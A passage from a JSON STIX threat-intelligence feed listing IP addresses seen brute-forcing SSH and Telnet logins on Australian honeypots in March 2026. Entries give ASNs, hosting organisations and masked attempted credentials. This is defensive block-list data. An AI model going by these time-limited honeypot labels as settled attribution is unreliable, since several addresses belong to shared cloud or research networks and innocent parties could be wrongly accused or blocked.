      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc..",
      "id": "indicator--f01c69d2-7f5f-4dea-be8a-f6441c22418e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T10:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.10.48.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T10:15:15.000Z",
      "valid_until": "2026-04-08T10:15:13.000Z"
    },
    {
      "created": "2026-03-07T10:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 42610. Organisation(s): Rostelecom. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--1fcb6b98-9b85-4f50-8f1b-d13e3a2e2498",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T10:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.30.212.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T10:15:15.000Z",
      "valid_until": "2026-04-08T10:15:13.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135799. Organisation(s): Rapidnet Private Limited.",
      "id": "indicator--41503efa-a684-467a-b44b-e49043064fb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.83.148.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--92b4ea12-c40c-49a2-9124-f0a07e20151a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.207.38.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, e*******h, e**n, f****e. Passwords observed (masked): 1***5, 1******8, 3***********4, 3**********4, G*******!.",
      "id": "indicator--02b658ba-a67e-4fb3-bffb-a09356c23416",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.211.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, j**a, o****e, p******s, t***1. Passwords observed (masked): 1****1, ***, ***, j**a, o****e.",
      "id": "indicator--3dc7f2b0-0964-448e-aa87-e463cba40eab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.95.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8cba0e21-b833-4b2a-8cc2-6d144652e2a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): ***, 3**********4, p**r. Passwords observed (masked): 3***********4, 3**********4, n*****!, p******4.",
      "id": "indicator--5d707458-a8e9-4a30-9d06-770df9a2b8c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.183.21.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a****y, b*****r. Passwords observed (masked): 1**4, b*********4.",
      "id": "indicator--02dd5453-e004-4a43-918a-9dc6fae11413",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.149.212.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): ***, r***s. Passwords observed (masked): 1**4, n*****!.",
      "id": "indicator--c230734a-c406-4176-ae92-0eb70b2fed48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.247.37.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): n*****r, 3**********4, ***, m******d, n**a. Passwords observed (masked): 1**4, 1***5, 3***********4, 3**********4, N*********!.",
      "id": "indicator--6cd35723-2a62-4a34-9393-ec437e447f84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.181.124.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 31430. Organisation(s): OOO Suntel.",
      "id": "indicator--51ef4fec-7401-4797-b4d5-398ba16ec35c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.249.18.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T11:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 210785. Organisation(s): KAPELAN Medien GmbH. Usernames observed (masked): ***, 3**********4, d*****j, ***. Passwords observed (masked): 1***5, 3***********4, 3**********4, n*****!, s*****s.",
      "id": "indicator--09ec046e-6dc6-4828-b868-9810396cafc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T11:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.93.202.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T11:15:08.000Z",
      "valid_until": "2026-04-08T11:15:05.000Z"
    },
    {
      "created": "2026-03-07T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 680. Organisation(s): Verein zur Foerderung eines Deutschen Forschungsnetzes e.V..",
      "id": "indicator--43ab7c46-c528-4310-aaa5-4143a0c9e7e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.19.117.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:15:14.000Z",
      "valid_until": "2026-04-08T12:15:11.000Z"
    },
    {
      "created": "2026-03-07T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--e24dd11d-6819-4c05-926e-521af7662253",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.182.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:15:14.000Z",
      "valid_until": "2026-04-08T12:15:11.000Z"
    },
    {
      "created": "2026-03-07T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--13574f05-2233-4ae1-a97f-9fdf9017c6e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.45.216.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:15:14.000Z",
      "valid_until": "2026-04-08T12:15:11.000Z"
    },
    {
      "created": "2026-03-07T12:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 270353. Organisation(s): Tyna Host - Datacenter no Brasil. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--fc20145b-2fb3-40a3-8847-0d034f79ca27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.9.155.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:15:14.000Z",
      "valid_until": "2026-04-08T12:15:11.000Z"
    },
    {
      "created": "2026-03-07T12:15:14.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--565e559c-5135-46e3-9adb-2d5e626383ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.137.136.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:15:14.000Z",
      "valid_until": "2026-04-08T12:15:11.000Z"
    },
    {
      "created": "2026-03-07T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 31200. Organisation(s): Novotelecom Ltd.",
      "id": "indicator--66a6d5cd-800c-40f2-b0c4-1e187e2cee39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.130.230.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:15:14.000Z",
      "valid_until": "2026-04-08T12:15:11.000Z"
    },
    {
      "created": "2026-03-07T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--fa2390e7-e95e-486c-8364-cd843dfb5095",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.50.43.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:15:14.000Z",
      "valid_until": "2026-04-08T12:15:11.000Z"
    },
    {
      "created": "2026-03-07T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:15:14.000Z",
      "valid_until": "2026-04-08T12:15:11.000Z"
    },
    {
      "created": "2026-03-07T12:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G***********************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--15916f7b-6b07-433d-8a23-cb94ace93051",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T12:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.218.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T12:15:14.000Z",
      "valid_until": "2026-04-08T12:15:11.000Z"
    },
    {
      "created": "2026-03-07T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): 3**********4, **, **, p**e, s****n. Passwords observed (masked): ***, 1**4, 1******8, 3**********4, S***3.",
      "id": "indicator--c2fad70b-141d-4b50-8918-23a974af3f4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.135.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T13:15:07.000Z",
      "valid_until": "2026-04-08T13:15:05.000Z"
    },
    {
      "created": "2026-03-07T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): s******t, 3**********4, e****d, e**l, l*****o. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, T*******!.",
      "id": "indicator--b002297c-89bd-47bd-b9b3-b5b96049f86a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.117.56.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T13:15:07.000Z",
      "valid_until": "2026-04-08T13:15:05.000Z"
    },
    {
      "created": "2026-03-07T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): k***a, 3**********4, a***t, k********s, m*****r. Passwords observed (masked): 1**4, 3***********4, 3**********4, K***********3, M*********!.",
      "id": "indicator--f3a7db66-dd21-4185-b3b1-0b4319bf67ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.187.147.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T13:15:07.000Z",
      "valid_until": "2026-04-08T13:15:05.000Z"
    },
    {
      "created": "2026-03-07T13:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 38120. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--02e562f2-3e7b-4fd2-838c-49ce520b588e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.7.247.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T13:15:07.000Z",
      "valid_until": "2026-04-08T13:15:05.000Z"
    },
    {
      "created": "2026-03-07T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d.",
      "id": "indicator--f1b9ea09-7998-4863-ad9e-1344ad3040a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.244.135.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T13:15:07.000Z",
      "valid_until": "2026-04-08T13:15:05.000Z"
    },
    {
      "created": "2026-03-07T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263546. Organisation(s): TURBONETT TELECOMUNICACOES LTDA. - ME. Usernames observed (masked): p**r, 3**********4, k********s. Passwords observed (masked): 3***********4, 3**********4, K***********3, P*****3.",
      "id": "indicator--5cda55f0-7c1a-41e0-850a-25f0c11ae4bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '191.6.25.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T13:15:07.000Z",
      "valid_until": "2026-04-08T13:15:05.000Z"
    },
    {
      "created": "2026-03-07T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): a*****r, 3**********4, k*****a, r**t, ***. Passwords observed (masked): 3***********4, 3**********4, A******5, a********3, k********3.",
      "id": "indicator--93464ca4-bf2b-4d99-8444-e77d342229cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.174.159.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:15:14.000Z",
      "valid_until": "2026-04-08T14:15:11.000Z"
    },
    {
      "created": "2026-03-07T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 10066. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--e41c0920-1381-4a0a-b0fd-beb8e85230c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.41.97.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:15:14.000Z",
      "valid_until": "2026-04-08T14:15:11.000Z"
    },
    {
      "created": "2026-03-07T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t, s*****r. Passwords observed (masked): p******3, p******d.",
      "id": "indicator--3e22cf9e-2d6b-45f7-abe5-7d1956697103",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.220.77.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:15:14.000Z",
      "valid_until": "2026-04-08T14:15:11.000Z"
    },
    {
      "created": "2026-03-07T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): s******d, 3**********4, a*****r, j**a, ***. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, a********3.",
      "id": "indicator--ff0412c7-d084-4951-bc49-65666e3100b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.215.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:15:14.000Z",
      "valid_until": "2026-04-08T14:15:11.000Z"
    },
    {
      "created": "2026-03-07T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 183. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, b****p, d****n. Passwords observed (masked): 1****e, 1*******y, 4**1, 5***1, 6****1.",
      "id": "indicator--c4c6acc4-469e-4048-8ee3-66c0f1c67a99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.62.34.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:15:14.000Z",
      "valid_until": "2026-04-08T14:15:11.000Z"
    },
    {
      "created": "2026-03-07T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): n***s, 3**********4, d*******r, m******d, r**t. Passwords observed (masked): ***, ***, 3***********4, 3**********4, n*******!.",
      "id": "indicator--417df798-383d-46ab-879b-69709f72e4f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-07T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.80.23.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-07T14:15:14.000Z",
